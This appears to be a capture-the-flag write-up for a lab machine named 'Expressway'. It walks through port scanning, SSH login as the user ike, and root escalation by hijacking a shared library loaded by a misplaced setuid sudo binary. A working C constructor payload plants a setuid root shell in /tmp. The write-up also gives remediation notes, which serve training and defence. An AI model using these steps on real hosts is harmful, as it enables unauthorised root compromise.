Expressway
Summary
The target answers on two ports: SSH, and 500/udp running isakmp — an IPsec key-exchange daemon, which is the whole of its public surface and is also where the account name comes from, since the local user is called ike. The password for that account authenticates over SSH, and that is the foothold.
From the shell it gives, the escalation is a SUID binary in the wrong place: /usr/local/bin/sudo, setuid root, linked against a library it resolves through a search path its own header carries. A shared object whose constructor runs before main gets executed as root the moment the binary is invoked — no argument parsing, no sudo rule, nothing the binary was meant to do.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <the-library-name-from-the-header> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
TCP first: one service, and it is SSH.
$ nmap -Pn -sV -p- --min-rate 5000 $TARGETThe UDP sweep is what finds 500/isakmp, and it is the only thing that distinguishes this host.
$ sudo nmap -sU -sV --top-ports 50 $TARGETFixDo not expose IKE, and do not name accounts after servicesMedium
Exact commands 2
Two candidates, one line. Ike is the one that answers.
$ for u in ike expressway; do printf '%s: ' "$u"; sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password -o PubkeyAuthentication=no "$u@$TARGET" 'id' 2>&1 | tail -1; done-> <user.txt>
$ sshpass -p "$PASSWORD" ssh ike@$TARGET 'cat ~/user.txt'Exact commands 3
The one in /usr/local is the one that was not installed by the package manager.
$ find / -perm -4000 -type f 2>/dev/nullSetuid root, and dynamically linked — which means it resolves libraries at load time.
$ ls -la /usr/local/bin/sudo && file /usr/local/bin/sudo && ldd /usr/local/bin/sudoThe header names where it looks first. That directory is the attack surface.
$ readelf -d /usr/local/bin/sudo | grep -E 'RPATH|RUNPATH'FixDo not install setuid binaries outside the package managerCritical
Exact commands 3
The constructor attribute is the whole trick: this runs at load time, not at call time.
$ cat > /tmp/woot.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setuid(0); setgid(0);
system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash");
}
EOFName it whatever the binary's search path expects to find, and place it there.
$ gcc -shared -fPIC -o <the-library-name-from-the-header> /tmp/woot.cInvoking the binary is enough; -p keeps the effective uid the setuid copy carries -> <root.txt>
$ /usr/local/bin/sudo --version >/dev/null 2>&1; /tmp/rootbash -p -c 'id; cat /root/root.txt'Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 10.0p2 Debian 8 (protocol 2.0) |
| 500/udp | isakmp? |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.